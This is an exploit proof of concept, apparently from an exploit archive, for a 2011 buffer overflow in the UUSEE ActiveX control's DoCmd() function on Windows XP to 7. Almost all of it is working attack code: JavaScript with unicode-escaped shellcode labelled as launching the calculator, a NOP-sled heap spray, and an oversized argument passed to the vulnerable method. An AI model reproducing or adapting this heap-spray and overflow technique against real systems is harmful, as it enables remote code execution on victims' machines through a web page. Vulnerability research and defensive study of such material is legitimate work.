UUSEE ActiveX < 6.11.0412.1 - Buffer Overflow
Exploit Title：UUSEE ActiveX <6.11.0412.1 buffer Overflow vulnerability Versions ：<6.11.0412.1 Software Link: http://download.uusee.com/UUSee_Setup_2010.exe Tested on: Windows xp-7 Date: 2011/6/11 Author :huimaozi web:http://www.huimaozi.net/?p=122 ############################################################# UUSEE.ocx ,DoCmd () function buffer Overflow . //XP SP3 calc <script language=”javascript”> shellcode = unescape(“%uE860%u0000%u0000%u815D%u06ED%u0000%u8A00%u1285%u0001%u0800″ + “%u75C0%uFE0F%u1285%u0001%uE800%u001A%u0000%uC009%u1074%u0A6A” + “%u858D%u0114%u0000%uFF50%u0695%u0001%u6100%uC031%uC489%uC350″ + “%u8D60%u02BD%u0001%u3100%uB0C0%u6430%u008B%u408B%u8B0C%u1C40″ + “%u008B%u408B%uFC08%uC689%u3F83%u7400%uFF0F%u5637%u33E8%u0000″ + “%u0900%u74C0%uAB2B%uECEB%uC783%u8304%u003F%u1774%uF889%u5040″ + “%u95FF%u0102%u0000%uC009%u1274%uC689%uB60F%u0107%uEBC7%u31CD” + “%u40C0%u4489%u1C24%uC361%uC031%uF6EB%u8B60%u2444%u0324%u3C40″ + “%u408D%u8D18%u6040%u388B%uFF09%u5274%u7C03%u2424%u4F8B%u8B18″ + “%u205F%u5C03%u2424%u49FC%u407C%u348B%u038B%u2474%u3124%u99C0″ + “%u08AC%u74C0%uC107%u07C2%uC201%uF4EB%u543B%u2824%uE175%u578B” + “%u0324%u2454%u0F24%u04B7%uC14A%u02E0%u578B%u031C%u2454%u8B24″ + “%u1004%u4403%u2424%u4489%u1C24%uC261%u0008%uC031%uF4EB%uFFC9″ + “%u10DF%u9231%uE8BF%u0000%u0000%u0000%u0000%u9000%u6163%u636C” + “%u652E%u6578%u9000″); nops=unescape(‘%u9090%u9090′); headersize =20; slackspace= headersize + shellcode.length; while( nops.length< slackspace) nops+= nops; fillblock= nops.substring(0, slackspace); block= nops.substring(0, nops.length- slackspace); while( block.length+ slackspace<262000) block= block+ block+ fillblock; memory=new Array(); for( counter=0; counter<2000; counter++) memory[ counter]= block+ shellcode; var arg=Array(); for (i=0;i<=80;i++) { arg[i]=”\u1111″; } uusee.DoCmd(arg); </script> </html> |